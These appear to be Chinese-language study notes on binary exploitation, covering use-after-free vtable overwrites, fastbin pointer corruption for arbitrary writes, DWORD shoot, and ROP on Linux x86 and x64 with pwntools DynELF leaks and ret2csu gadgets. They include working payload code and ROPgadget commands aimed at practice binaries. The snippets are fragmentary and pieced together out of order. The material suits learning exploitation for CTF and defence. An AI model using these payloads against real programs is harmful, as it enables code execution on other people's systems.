攻击方式
这个好像是比较核心的一种利用方式,主要分两种
1覆盖虚表指针
采用了虚函数表修改的uaf利用法则。
- 找到释放没有清零的指针。(这里释放的对象必须是有虚函数的)
- 从新分配占用之前释放的结构。(对象释放掉后,把虚函数表中的函数修改掉)(直接修改内存显然会引发地址禁止写异常)
- 调用引用原结构的函数触发自己构造的调用函数。(调用虚函数被替换,本来释放的对象,应为没用清空指针,导致再次利用成功)。
(这里重新分配必须满足原结构的构建协议)
例子:https://bbs.pediy.com/thread-224651.htm
2.还有就是一个叫做fastbin单向链表的利用方式
这个fastbinz主要是用来进行任意地址读写的。
例子: https://www.cnblogs.com/Ox9A82/p/5865420.html
- 分配两个fastbin chunk
- 使用第一个(位于低地址)覆盖第二个(位于高地址)的fd指针。注意,第一个应该是已被分配的,不然就没法写入导致溢出。第二个应该是未被分配的,不然就不存在fd也不存在分配的问题了。
- 在欲分配的地址,比如bss段上构造一个伪chunk结构,比如l32(0x0)+l32(41)+l32(0x0)(即前块正在使用中+本块大小为40+fd为0)
- 进行分配即可得到任意地址分配堆块的效果。从而可以实现任意地址写任意值的效果。
3当然这里还有一种单地址位读写的攻击方式DWORDSHOOT
实现的是4字节的任意地址读写。虽然只能写入4字节的内容,利用得当也是很厉害的。
在不获取目标libc.so的情况下进行ROP攻击
采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。拿我们上一篇中的level2程序举例。leak函数应该是这样实现的:
#!python
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
from pwn import *
elf=ELF('level2')
plt_write=elf.symbol['write']
got_write=elf.got['write']
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。
一步一步学ROP之linux_x64篇
使用工具寻找gadgets
#!bash
$ ROPgadget --binary level4 --only "pop|ret"
$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
pop_ret_offset = 0x0000000000022a12 - libc.symbols['system']
pop_ret_addr = system_addr + pop_ret_offset
如果原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。
objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作
x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
#!bash
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)